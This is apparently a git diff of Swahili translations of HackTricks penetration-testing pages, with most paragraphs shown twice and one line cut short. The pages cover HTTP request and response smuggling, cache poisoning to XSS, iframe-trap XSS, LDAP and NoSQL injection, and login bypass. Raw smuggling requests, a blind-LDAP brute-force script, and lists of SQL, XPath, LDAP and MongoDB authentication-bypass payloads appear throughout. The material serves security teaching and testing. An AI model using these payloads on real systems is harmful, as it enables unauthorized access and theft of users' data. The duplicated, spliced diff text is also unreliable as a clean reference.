Teknolojia hii inakuwa na nguvu hasa ikiwa **udhaifu wa Open Redirect** unapatikana au ikiwa kuna **mwelekeo wa ndani kwa mwelekeo wazi**. Udhihirisho kama huu unaweza kutumika kubadilisha maudhui yaliyohifadhiwa ya `/static/include.js` na script chini ya udhibiti wa mshambuliaji, kwa msingi inaruhusu shambulio la Cross-Site Scripting (XSS) dhidi ya wateja wote wanaotafuta `/static/include.js` iliyosasishwa.
Teknolojia hii inakuwa na nguvu hasa ikiwa **udhaifu wa Open Redirect** unapatikana au ikiwa kuna **mwelekeo wa ndani kwa mwelekeo wazi**. Udhaifu kama huu unaweza kutumika kubadilisha maudhui yaliyohifadhiwa ya `/static/include.js` na script chini ya udhibiti wa mshambuliaji, hivyo kuwezesha shambulio la Cross-Site Scripting (XSS) kwa wateja wote wanaotafuta `/static/include.js` iliyosasishwa.
Hapa kuna mfano wa kutumia **upoisonaji wa kivinjari pamoja na mwelekeo wa ndani kwa mwelekeo wazi**. Lengo ni kubadilisha maudhui ya kivinjari ya `/static/include.js` ili kutoa msimbo wa JavaScript unaodhibitiwa na mshambuliaji:
Hapa chini kuna mfano wa kutumia **upoisonaji wa kivinjari pamoja na mwelekeo wa ndani kwa mwelekeo wazi**. Lengo ni kubadilisha maudhui ya kivinjari ya `/static/include.js` ili kutoa msimbo wa JavaScript unaodhibitiwa na mshambuliaji:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -493,9 +493,9 @@ Content-Length: 10
x=1
```
Kumbuka ombi lililojumuishwa linalolenga `/post/next?postId=3`. Ombi hili litarejelewa kwa `/post?postId=4`, likitumia **thamani ya kichwa cha Host** kubaini kikoa. Kwa kubadilisha **kichwa cha Host**, mshambuliaji anaweza kurejelea ombi hilo kwa kikoa chao (**kuhamasisha kwenye tovuti kwa kuhamasisha wazi**).
Kumbuka ombi lililojumuishwa linalolenga `/post/next?postId=3`. Ombi hili litarejelewa kwa `/post?postId=4`, likitumia **thamani ya kichwa cha Host** kubaini kikoa. Kwa kubadilisha **kichwa cha Host**, mshambuliaji anaweza kurejelea ombi hilo kwa kikoa chao (**rejeleo la ndani kwa rejeleo wazi**).
Baada ya **kuvuta socket** kwa mafanikio, **ombio la GET** kwa `/static/include.js` linapaswa kuanzishwa. Ombi hili litakuwa na maambukizi kutoka kwa ombi la awali la **kuhamasisha kwenye tovuti kwa kuhamasisha wazi** na kuchukua maudhui ya skripti inayodhibitiwa na mshambuliaji.
Baada ya **kuharibu socket** kwa mafanikio, **ombio la GET** kwa `/static/include.js` linapaswa kuanzishwa. Ombi hili litakuwa na uchafu kutoka kwa ombi la awali la **rejeleo la ndani kwa rejeleo wazi** na kuchukua maudhui ya skripti inayodhibitiwa na mshambuliaji.
Baadaye, ombi lolote kwa `/static/include.js` litatoa maudhui yaliyohifadhiwa ya skripti ya mshambuliaji, kwa ufanisi kuanzisha shambulio kubwa la XSS.
@ -546,7 +546,7 @@ Jibu hili litatumwa kwa ombi linalofuata kupitia muunganisho, hivyo hili linawez
Endelea kufuata [**hiki chapisho**](https://portswigger.net/research/trace-desync-attack) kinapendekeza njia nyingine ya kutumia mbinu ya TRACE. Kama ilivyotajwa, kuficha ombi la HEAD na ombi la TRACE inawezekana **kudhibiti baadhi ya data inayorejelewa** katika jibu la ombi la HEAD. Urefu wa mwili wa ombi la HEAD kimsingi unatajwa katika kichwa cha Content-Length na unaundwa na jibu la ombi la TRACE.
Hivyo, wazo jipya lingeweza kuwa, kwa kujua Content-Length hii na data iliyotolewa katika jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na jibu halali la HTTP baada ya byte ya mwisho ya Content-Length, ikiruhusu mshambuliaji kudhibiti kabisa ombi kwa jibu linalofuata (ambalo linaweza kutumika kufanya uharibifu wa cache).
Hivyo, wazo jipya lingeweza kuwa, kujua Content-Length hii na data iliyotolewa katika jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na jibu halali la HTTP baada ya byte ya mwisho ya Content-Length, ikiruhusu mshambuliaji kudhibiti kabisa ombi kwa jibu linalofuata (ambalo linaweza kutumika kufanya uharibifu wa cache).
Mfano:
```
@ -567,7 +567,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Itazalisha majibu haya (angalia jinsi jibu la HEAD lina Content-Length ikifanya jibu la TRACE kuwa sehemu ya mwili wa HEAD na mara tu Content-Length ya HEAD inapoisha, jibu halali la HTTP linapaswa kuingizwa):
Itazalisha majibu haya (angalia jinsi jibu la HEAD lina Content-Length ikifanya jibu la TRACE kuwa sehemu ya mwili wa HEAD na mara Content-Length ya HEAD inapomalizika, jibu halali la HTTP linapaswa kuingizwa):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -610,7 +610,7 @@ browser-http-request-smuggling.md
request-smuggling-in-http-2-downgrades.md
{{#endref}}
## Turbo intruder scripts
## Skripti za Turbo intruder
### CL.TE

View File

@ -8,23 +8,23 @@
Kwanza kabisa, teknolojia hii **inatumia udhaifu wa HTTP Request Smuggling**, hivyo unahitaji kujua ni nini hicho:
**Tofauti** **kuu** kati ya teknolojia hii na HTTP Request smuggling ya kawaida ni kwamba **badala** ya **kushambulia** **ombio** la **mhasiriwa** **kwa kuongeza kiambatisho** kwake, tutakuwa **tukivuja au kubadilisha jibu ambalo mhasiriwa anapata**. Hii inafanywa kwa, badala ya kutuma ombi 1 na nusu ili kutumia HTTP Request smuggling, **tutatumia ombi 2 kamili ili kuondoa usawa wa majibu ya proxies**.
**Tofauti** **kuu** kati ya teknolojia hii na HTTP Request smuggling ya kawaida ni kwamba **badala** ya **kushambulia** **ombile** la **mhasiriwa** **kwa kuongeza kiambatisho** kwake, tutakuwa **tukivuja au kubadilisha jibu ambalo mhasiriwa anapata**. Hii inafanywa kwa, badala ya kutuma ombi 1 na nusu ili kutumia HTTP Request smuggling, **tutatumia maombi 2 kamili ili kuondoa usawa wa majibu ya proxies**.
Hii ni kwa sababu tutakuwa na uwezo wa **kuondoa usawa wa foleni ya majibu** ili **jibu** kutoka kwa **ombio** la **halali** la **mhasiriwa litumwe kwa mshambuliaji**, au kwa **kuingiza maudhui yanayodhibitiwa na mshambuliaji katika jibu kwa mhasiriwa**.
Hii ni kwa sababu tutakuwa na uwezo wa **kuondoa usawa wa foleni ya majibu** ili **jibu** kutoka kwa **ombile** la **halali** la **mhasiriwa litumwe kwa mshambuliaji**, au kwa **kuingiza maudhui yanayodhibitiwa na mshambuliaji katika jibu kwa mhasiriwa**.
### HTTP Pipeline Desync
HTTP/1.1 inaruhusu kuomba **rasilimali tofauti bila kuhitaji kusubiri zilizopita**. Hivyo, ikiwa kuna **proxy** katikati, ni jukumu la proxies **kuweka usawa wa maombi yaliyotumwa kwa backend na majibu yanayotoka humo**.
HTTP/1.1 inaruhusu kuomba **rasilimali tofauti bila kuhitaji kusubiri zilizopita**. Hivyo, ikiwa kuna **proxy** katikati, ni jukumu la proxies **kuweka usawa wa maombi yaliyotumwa kwa backend na majibu yanayotoka huko**.
Hata hivyo, kuna tatizo la kuondoa usawa wa foleni ya majibu. Ikiwa mshambuliaji atatuma shambulio la HTTP Response smuggling na majibu kwa **ombio la awali na lile lililovuja yanajibiwa mara moja**, jibu lililovuja halitaingizwa ndani ya foleni ya jibu la mhasiriwa bali litakataliwa kama kosa.
Hata hivyo, kuna tatizo la kuondoa usawa wa foleni ya majibu. Ikiwa mshambuliaji atatuma shambulio la HTTP Response smuggling na majibu kwa **ombile la awali na lile lililovuja yanajibiwa mara moja**, jibu lililovuja halitaingizwa ndani ya foleni ya jibu la mhasiriwa bali litakataliwa kama kosa.
![](<../images/image (633).png>)
Hivyo, inahitajika kwamba **ombio lililovuja** **lichukue muda mrefu zaidi kutekelezwa** ndani ya seva ya nyuma. Hivyo, wakati ombi lililovuja linaposhughulikiwa, mawasiliano na mshambuliaji yatakuwa yameisha.
Hivyo, inahitajika kwamba **ombile lililovuja** **lichukue muda mrefu zaidi kutekelezwa** ndani ya seva ya nyuma. Hivyo, wakati ombi lililovuja linaposhughulikiwa, mawasiliano na mshambuliaji yatakuwa yameisha.
Ikiwa katika hali hii maalum **mhasiriwa ametuma ombi** na **ombio lililovuja linajibiwa kabla** ya ombi halali, **jibu lililovuja litatumwa kwa mhasiriwa**. Hivyo, mshambuliaji atakuwa **akidhibiti ombi "lililofanywa" na mhasiriwa**.
Ikiwa katika hali hii maalum **mhasiriwa ametuma ombi** na **ombile lililovuja linajibiwa kabla** ya ombi halali, **jibu lililovuja litatumwa kwa mhasiriwa**. Hivyo, mshambuliaji atakuwa **akidhibiti ombi "lililofanywa" na mhasiriwa**.
Zaidi ya hayo, ikiwa **mshambuliaji atafanya ombi** na **jibu halali** kwa **ombio** la **mhasiriwa** linajibiwa **kabla** ya ombi la mshambuliaji. **Jibu kwa mhasiriwa litatumwa kwa mshambuliaji**, **kuchukua** jibu kwa mhasiriwa (ambalo linaweza kuwa na mfano wa kichwa **Set-Cookie**).
Zaidi ya hayo, ikiwa **mshambuliaji kisha atafanya ombi** na **jibu halali** kwa **ombile** la **mhasiriwa linajibiwa** **kabla** ya ombi la mshambuliaji. **Jibu kwa mhasiriwa litatumwa kwa mshambuliaji**, **kuchukua** jibu kwa mhasiriwa (ambalo linaweza kuwa na mfano wa kichwa **Set-Cookie**).
![](<../images/image (1020).png>)
@ -40,9 +40,9 @@ Mbali na kuwa na uwezo wa **kusambaza kwa urahisi majibu kumi** kati ya watumiaj
Kama ilivyoelezwa hapo awali, ili kutumia teknolojia hii, inahitajika kwamba **ujumbe wa kwanza ulioingizwa** ndani ya seva **uchukue muda mwingi kutekelezwa**.
Hii **ombio inayochukua muda** inatosha ikiwa tunataka tu **kujaribu kuiba jibu la mhasiriwa.** Lakini ikiwa unataka kufanya exploit ngumu zaidi hii itakuwa muundo wa kawaida kwa exploit.
Hii **ombile linalochukua muda** ni ya kutosha ikiwa tunataka tu **kujaribu kuiba jibu la mhasiriwa.** Lakini ikiwa unataka kufanya exploit ngumu zaidi hii itakuwa muundo wa kawaida kwa exploit.
Kwanza kabisa **ombio la awali** linalotumia **HTTP** **Request** **smuggling**, kisha **ombio linalochukua muda** na kisha **ombio 1 au zaidi** ambayo majibu yake yatatumwa kwa mhasiriwa.
Kwanza kabisa **ombile la awali** likitumia **HTTP** **Request** **smuggling**, kisha **ombile linalochukua muda** na kisha **ombile 1 au zaidi** ambayo majibu yake yatatumwa kwa mhasiriwa.
## Abusing HTTP Response Queue Desynchronisation
@ -50,33 +50,33 @@ Kwanza kabisa **ombio la awali** linalotumia **HTTP** **Request** **smuggling**,
Kama ilivyo na payloads za HTTP Request Smuggling zinazojulikana, unaweza **kuiba ombi la mhasiriwa** kwa tofauti moja muhimu: Katika kesi hii unahitaji tu **maudhui ya kutumwa kuakisi katika jibu**, **hakuna hifadhi ya kudumu** inahitajika.
Kwanza, mshambuliaji anatumia payload inayojumuisha **ombio la mwisho la POST lenye kiambatisho kilichoakisiwa** mwishoni na Content-Length kubwa.
Kwanza, mshambuliaji anatumia payload inayojumuisha **ombile la mwisho la POST lenye kiambatisho kilichoakisiwa** mwishoni na Content-Length kubwa.
![](<../images/image (1053).png>)
Kisha, mara tu **ombio la awali** (bluu) liliposhughulikiwa na **wakati** ombi **lililolala** linaposhughulikiwa (njano) ombi **linalofika kutoka kwa mhasiriwa** litakuwa **limeongezwa kwenye foleni mara tu baada ya kiambatisho kilichoakisiwa**:
Kisha, mara tu **ombile la awali** (bluu) liliposhughulikiwa na **wakati** **ombile la usingizi** linaposhughulikiwa (njano) **ombile linalofika kutoka kwa mhasiriwa** litakuwa **limeongezwa kwenye foleni mara tu baada ya kiambatisho kilichoakisiwa**:
![](<../images/image (794).png>)
Kisha, **mhasiriwa** atapokea **jibu** kwa ombi lililolala na ikiwa wakati huo **mshambuliaji** **alituma** **ombio** **nyingine**, **jibu kutoka kwa ombi la maudhui yaliyoakisiwa litatumwa kwake**.
Kisha, **mhasiriwa** atapokea **jibu** kwa **ombile la usingizi** na ikiwa wakati huo **mshambuliaji** **alituma** **ombile** **lingine**, **jibu kutoka kwa ombi la maudhui yaliyoakisiwa litatumwa kwake**.
## Response Desynchronisation
Hadi sasa, tumefundishwa jinsi ya kutumia shambulio la HTTP Request Smuggling ili **kudhibiti** **ombio** **ambalo** **jibu** ambalo **mteja** atakuwa **akipokea** na jinsi unaweza kisha **kuiba jibu ambalo lilikuwa linakusudiwa kwa mhasiriwa**.
Hadi sasa, tumefundishwa jinsi ya kutumia shambulio la HTTP Request Smuggling ili **kudhibiti** **ombile** **ambalo** **jibu** ambalo **mteja** atakuwa **akipokea** na jinsi unaweza kisha **kuiba jibu ambalo lilikuwa limetengwa kwa mhasiriwa**.
Lakini bado inawezekana **kuondoa usawa hata** zaidi majibu.
Kuna maombi ya kuvutia kama **HEAD** ambayo yameelezwa kutokuwa na **maudhui yoyote ndani ya mwili wa majibu** na ambayo yanapaswa (lazima) **kujumuisha Content-Length** ya ombi kama **kama ingekuwa ombi la GET**.
Kuna maombi ya kuvutia kama **HEAD** ambayo yameainishwa kutokuwa na **maudhui yoyote ndani ya mwili wa majibu** na ambayo yanapaswa (lazima) **kujumuisha Content-Length** ya ombi kama **kama ingekuwa ombi la GET**.
Hivyo, ikiwa mshambuliaji **anaingiza** ombi la **HEAD**, kama katika picha hizi:
![](<../images/image (1107).png>)
Kisha, **mara tu ombi la buluu linapojibiwa kwa mshambuliaji**, ombi la mhasiriwa litaingizwa kwenye foleni:
Kisha, **mara tu ombi la buluu linapojibiwa kwa mshambuliaji**, ombi linalofuata la mhasiriwa litakuwa limeingizwa kwenye foleni:
![](<../images/image (999).png>)
Kisha, **mhasiriwa** atapokea **jibu** kutoka kwa **HEAD** ombi, ambalo **litakuwa na Content-Length lakini hakuna maudhui kabisa**. Hivyo, proxy **haitatuma jibu hili** kwa mhasiriwa, bali itangojea **maudhui**, ambayo kwa kweli itakuwa **jibu kwa ombi la njano** (pia lililoingizwa na mshambuliaji):
Kisha, **mhasiriwa** atapokea **jibu** kutoka kwa **HEAD** ombi, ambalo **litakuwa na Content-Length lakini hakuna maudhui kabisa**. Hivyo, proxy **haitatuma jibu hili** kwa mhasiriwa, bali itasubiri **maudhui**, ambayo kwa kweli yatakuwa **jibu kwa ombi la njano** (pia lililoingizwa na mshambuliaji):
![](<../images/image (735).png>)
@ -88,13 +88,13 @@ Kufuata mfano wa awali, ukijua kwamba unaweza **kudhibiti mwili** wa ombi ambalo
### Cache Poisoning
Kutatiza shambulio la awali lililozungumziwa la desynchronisation ya jibu la Content Confusion, **ikiwa cache inahifadhi jibu kwa ombi lililofanywa na mhasiriwa na jibu hili ni la kuingizwa linalosababisha XSS, basi cache inakuwa na sumu**.
Kutumia shambulio la Content Confusion lililozungumziwa hapo awali, **ikiwa cache inahifadhi jibu kwa ombi lililofanywa na mhasiriwa na jibu hili ni la kuingizwa linalosababisha XSS, basi cache inakuwa na sumu**.
Ombi la uhalifu likijumuisha payload ya XSS:
![](<../images/image (614).png>)
Jibu la uhalifu kwa mhasiriwa ambalo lina kichwa kinachoashiria kwa cache kuhifadhi jibu:
Jibu la uhalifu kwa mhasiriwa ambalo lina kichwa kinachoelekeza kwenye cache kuhifadhi jibu:
![](<../images/image (566).png>)
@ -109,7 +109,7 @@ Shambulio hili ni sawa na la awali, lakini **badala ya kuingiza payload ndani ya
### Response Splitting
**Lengo** la shambulio hili ni kutumia tena **desynchronisation** ya **jibu** ili **kufanya proxy itume jibu 100% lililotengenezwa na mshambuliaji**.
**Lengo** la shambulio hili ni kutumia tena **kuondoa usawa wa majibu** ili **kufanya proxy itume jibu 100% lililotengenezwa na mshambuliaji**.
Ili kufikia hili, mshambuliaji anahitaji kupata mwisho wa programu ya wavuti ambayo **inaakisi baadhi ya thamani ndani ya jibu** na **ajue urefu wa maudhui ya jibu la HEAD**.
@ -117,16 +117,16 @@ Atatuma **exploit** kama:
![](<../images/image (911).png>)
Baada ya ombi la kwanza kutatuliwa na kutumwa nyuma kwa mshambuliaji, **ombio la mhasiriwa linaongezwa kwenye foleni**:
Baada ya ombi la kwanza kutatuliwa na kutumwa kwa mshambuliaji, **ombile la mhasiriwa linaongezwa kwenye foleni**:
![](<../images/image (737).png>)
Mhasiriwa atapokea kama jibu **jibu la HEAD + maudhui ya jibu la ombi la pili (linalojumuisha sehemu ya data iliyorejelewa):**
Mhasiriwa atapokea kama jibu **jibu la HEAD + maudhui ya jibu la ombi la pili (linalojumuisha sehemu ya data iliyoakisiwa):**
![](<../images/image (356).png>)
Hata hivyo, angalia jinsi **data iliyorejelewa ilikuwa na ukubwa kulingana na Content-Length** ya **HEAD** jibu ambayo **ilitoa jibu halali la HTTP katika foleni ya majibu**.
Hata hivyo, angalia jinsi **data iliyoakisiwa ilikuwa na ukubwa kulingana na Content-Length** ya **HEAD** jibu ambayo **ilijenga jibu halali la HTTP katika foleni ya majibu**.
Hivyo, **ombio la pili la mhasiriwa** litakuwa **linapokea** kama **jibu kitu kilichotengenezwa kabisa na mshambuliaji**. Kwa kuwa jibu limeundwa kabisa na mshambuliaji anaweza pia **kufanya proxy ihifadhi jibu**.
Hivyo, **ombile linalofuata la mhasiriwa wa pili** litakuwa **likipokea** kama **jibu kitu kilichotengenezwa kabisa na mshambuliaji**. Kwa kuwa jibu limeundwa kabisa na mshambuliaji anaweza pia **kufanya proxy ihifadhi jibu**.
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,5 +1,3 @@
{{#include ../banners/hacktricks-training.md}}
**Angalia chapisho: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
{{#include ../banners/hacktricks-training.md}}
**Angalia chapisho: [https://medium.com

View File

@ -8,7 +8,7 @@ Hii njia ya kutumia XSS kupitia iframes kuiba taarifa kutoka kwa mtumiaji anayes
Shambulio linaanza katika ukurasa ulio hatarini kwa XSS ambapo inawezekana kufanya **waathirika wasiondoke kwenye XSS** kwa kuwafanya **wasafiri ndani ya iframe** inayochukua sehemu yote ya programu ya wavuti.
Shambulio la XSS kimsingi litapakia ukurasa wa wavuti ndani ya iframe kwa 100% ya skrini. Hivyo, mwathirika **hatagundua yuko ndani ya iframe**. Kisha, ikiwa mwathirika anasafiri kwenye ukurasa kwa kubofya viungo ndani ya iframe (ndani ya wavuti), atakuwa **anasafiri ndani ya iframe** na JS isiyo na mipaka ikipora taarifa kutoka kwenye safari hii.
Shambulio la XSS kimsingi litapakia ukurasa wa wavuti ndani ya iframe katika 100% ya skrini. Hivyo, waathirika **hawataona yuko ndani ya iframe**. Kisha, ikiwa waathirika atasafiri kwenye ukurasa kwa kubofya viungo ndani ya iframe (ndani ya wavuti), atakuwa **akifanya safari ndani ya iframe** na JS isiyo na mipaka inayopakia ikiba taarifa kutoka kwa safari hii.
Zaidi ya hayo, ili kufanya iwe halisi zaidi, inawezekana kutumia baadhi ya **wasikilizaji** kuangalia wakati iframe inabadilisha eneo la ukurasa, na kusasisha URL ya kivinjari na maeneo hayo ambayo mtumiaji anadhani anasafiri kwenye kurasa akitumia kivinjari.
@ -16,8 +16,8 @@ Zaidi ya hayo, ili kufanya iwe halisi zaidi, inawezekana kutumia baadhi ya **was
<figure><img src="../images/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
Zaidi ya hayo, inawezekana kutumia wasikilizaji kuiba taarifa nyeti, si tu kurasa nyingine ambazo mwathirika anatembelea, bali pia data inayotumika ku **jaza fomu** na kuzipeleka (akili?) au **kuiba hifadhi ya ndani**...
Zaidi ya hayo, inawezekana kutumia wasikilizaji kuiba taarifa nyeti, si tu kurasa nyingine ambazo waathirika wanatembelea, bali pia data inayotumika ku **jaza fomu** na kuzipeleka (akidi?) au **kuiba hifadhi ya ndani**...
Kwa kweli, vizuizi vikuu ni kwamba **mwathirika akifunga tab au kuweka URL nyingine kwenye kivinjari atakimbia iframe**. Njia nyingine ya kufanya hivi ingekuwa **kufanya upya ukurasa**, hata hivyo, hii inaweza kuzuia kwa sehemu **kwa kuzima menyu ya muktadha ya kubofya kulia kila wakati ukurasa mpya unapopakuliwa ndani ya iframe au kugundua wakati panya ya mtumiaji inatoka kwenye iframe, labda kubofya kitufe cha upya cha kivinjari na katika kesi hii URL ya kivinjari inasasishwa na URL ya asili iliyo hatarini kwa XSS hivyo ikiwa mtumiaji atafanya upya, itakuwa na sumu tena (kumbuka kwamba hii si ya siri sana).
Kwa kweli, vizuizi vikuu ni kwamba **waathirika kufunga tab au kuweka URL nyingine kwenye kivinjari kutakwepa iframe**. Njia nyingine ya kufanya hivi ingekuwa **kufanya upya ukurasa**, hata hivyo, hii inaweza kuzuia kwa sehemu **kwa kuzima menyu ya muktadha ya kubofya kulia kila wakati ukurasa mpya unapopakiwa ndani ya iframe au kugundua wakati panya ya mtumiaji inatoka kwenye iframe, labda kubofya kitufe cha upya cha kivinjari na katika kesi hii URL ya kivinjari inasasishwa na URL ya asili iliyo hatarini kwa XSS hivyo ikiwa mtumiaji atafanya upya, itakuwa imechafuliwa tena (kumbuka kwamba hii si ya siri sana).
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,6 +4,7 @@
{{#include ../banners/hacktricks-training.md}}
## LDAP Injection
### **LDAP**
@ -14,7 +15,7 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection** ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii inatokea wakati programu **inashindwa kusafisha** pembejeo ipasavyo, ikiruhusu washambuliaji **kubadilisha taarifa za LDAP** kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data.
**LDAP Injection** ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii hutokea wakati programu **inashindwa kusafisha** pembejeo ipasavyo, ikiruhusu washambuliaji **kubadilisha taarifa za LDAP** kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data.
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -42,7 +43,7 @@ Unaweza kufikia hifadhidata, na hii inaweza kuwa na taarifa za aina nyingi tofau
**OpenLDAP**: Ikiwa vichujio 2 vinakuja, inatekeleza tu cha kwanza.\
**ADAM au Microsoft LDS**: Kwa vichujio 2 wanatoa kosa.\
**SunOne Directory Server 5.0**: Tekeleza vichujio vyote viwili.
**SunOne Directory Server 5.0**: Inatekeleza vichujio vyote viwili.
**Ni muhimu sana kutuma kichujio chenye sintaksia sahihi au kosa litatokea. Ni bora kutuma kichujio kimoja tu.**
@ -56,7 +57,7 @@ Kisha: `(&(objectClass=`**`*)(ObjectClass=*))`** itakuwa kichujio cha kwanza (ki
### Login Bypass
LDAP inasaidia muundo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali kile unachoweka ndani ya nywila, inahifadhiwa.
LDAP inasaidia muundo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali kile unachoweka ndani ya nywila, inahashwa.
```bash
user=*
password=*
@ -119,7 +120,7 @@ password=any
### Blind LDAP Injection
Unaweza kulazimisha majibu ya False au True ili kuangalia kama kuna data yoyote inayorejeshwa na kuthibitisha uwezekano wa Blind LDAP Injection:
Unaweza kulazimisha majibu ya False au True ili kuangalia kama data yoyote inarudi na kuthibitisha uwezekano wa Blind LDAP Injection:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@ -180,7 +181,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True
print()
```
#### **Mchakato wa Kipekee wa Blind LDAP Injection (bila "\*")**
#### **Mchakato Maalum wa Blind LDAP Injection (bila "\*")**
```python
#!/usr/bin/python3

View File

@ -10,7 +10,7 @@ Ikiwa unapata ukurasa wa kuingia, hapa unaweza kupata mbinu za kujaribu kupita:
- Angalia ikiwa unaweza **kufikia moja kwa moja kurasa zilizozuiliwa**
- Angalia **usitume vigezo** (usitume yoyote au moja tu)
- Angalia **makosa ya kulinganisha ya PHP:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
- **Badilisha aina ya maudhui kuwa json** na tuma thamani za json (bool true ikijumuishwa)
- **Badilisha aina ya maudhui kuwa json** na utume thamani za json (bool true ikijumuishwa)
- Ikiwa unapata jibu linalosema kwamba POST hait supported unaweza kujaribu kutuma **JSON katika mwili lakini kwa ombi la GET** na `Content-Type: application/json`
- Angalia makosa ya uwezekano wa parsing ya nodejs (soma [**hii**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
- Nodejs itabadilisha payload hiyo kuwa query inayofanana na ifuatayo: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` ambayo inafanya sehemu ya password kuwa daima kweli.
@ -21,11 +21,11 @@ Ikiwa unapata ukurasa wa kuingia, hapa unaweza kupata mbinu za kujaribu kupita:
- [**Credentials za kawaida**](../../generic-hacking/brute-force.md#default-credentials) za teknolojia/jukwaa lililotumika
- **Mchanganyiko wa kawaida** (root, admin, password, jina la teknolojia, mtumiaji wa kawaida na moja ya hizi passwords).
- Unda kamusi ukitumia **Cewl**, **ongeza** jina la mtumiaji na password **za kawaida** (ikiwa zipo) na jaribu kujaribu nguvu kutumia maneno yote kama **majina ya watumiaji na password**
- **Jaribu nguvu** ukitumia kamusi kubwa **(**[**Jaribu nguvu**](../../generic-hacking/brute-force.md#http-post-form)**)**
- **Jaribu nguvu** ukitumia kamusi kubwa **(**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)**
### SQL Injection authentication bypass
[Hapa unaweza kupata hila kadhaa za kupita kuingia kupitia **SQL injections**](../sql-injection/#authentication-bypass).
[Hapa unaweza kupata mbinu kadhaa za kupita kuingia kupitia **SQL injections**](../sql-injection/#authentication-bypass).
Katika ukurasa ufuatao unaweza kupata **orodha maalum ya kujaribu kupita kuingia** kupitia SQL Injections:
@ -35,13 +35,13 @@ sql-login-bypass.md
### No SQL Injection authentication bypass
[Hapa unaweza kupata hila kadhaa za kupita kuingia kupitia **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
[Hapa unaweza kupata mbinu kadhaa za kupita kuingia kupitia **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
Kama NoSQL Injections inahitaji kubadilisha thamani za vigezo, utahitaji kujaribu kwa mikono.
### XPath Injection authentication bypass
[Hapa unaweza kupata hila kadhaa za kupita kuingia kupitia **XPath Injection.**](../xpath-injection.md#authentication-bypass)
[Hapa unaweza kupata mbinu kadhaa za kupita kuingia kupitia **XPath Injection.**](../xpath-injection.md#authentication-bypass)
```
' or '1'='1
' or ''='
@ -73,9 +73,9 @@ admin)(!(&(|
pwd))
admin))(|(|
```
### Kumbuka Neni
### Kumbuka Mimi
Ikiwa ukurasa una kazi ya "**Kumbuka Neni**" angalia jinsi inavyotekelezwa na uone kama unaweza kuitumia vibaya ili **kuchukua akaunti nyingine**.
Ikiwa ukurasa una kazi ya "**Kumbuka Mimi**" angalia jinsi inavyotekelezwa na uone kama unaweza kuitumia vibaya ili **kuchukua akaunti nyingine**.
### Mwelekeo

View File

@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
```javascript
query = { $where: `this.username == '${username}'` }
```
Mshambuliaji anaweza kutumia hili kwa kuingiza nyuzi kama `admin' || 'a'=='a`, na kufanya uchunguzi urudishe hati zote kwa kutimiza hali hiyo kwa tautology (`'a'=='a'`). Hii ni sawa na mashambulizi ya SQL injection ambapo ingizo kama `' or 1=1-- -` zinatumika kubadilisha maswali ya SQL. Katika MongoDB, sindano zinazofanana zinaweza kufanywa kwa kutumia ingizo kama `' || 1==1//`, `' || 1==1%00`, au `admin' || 'a'=='a`.
Mshambuliaji anaweza kutumia hii kwa kuingiza nyuzi kama `admin' || 'a'=='a`, na kufanya uchunguzi urudishe hati zote kwa kuridhisha hali hiyo kwa tautology (`'a'=='a'`). Hii ni sawa na mashambulizi ya SQL injection ambapo ingizo kama `' or 1=1-- -` zinatumika kubadilisha maswali ya SQL. Katika MongoDB, sindano zinazofanana zinaweza kufanywa kwa kutumia ingizo kama `' || 1==1//`, `' || 1==1%00`, au `admin' || 'a'=='a`.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
@ -76,7 +76,7 @@ in JSON
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### PHP Utekelezaji wa Kazi za Kijichaguliwa
### PHP Utekelezaji wa Kazi za Kijazaji
Kwa kutumia opereta **$func** wa maktaba ya [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (iliyotumika kwa chaguo-msingi) inaweza kuwa inawezekana kutekeleza kazi yoyote kama ilivyo katika [ripoti hii](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
@ -88,7 +88,7 @@ Kwa kutumia opereta **$func** wa maktaba ya [MongoLite](https://github.com/agent
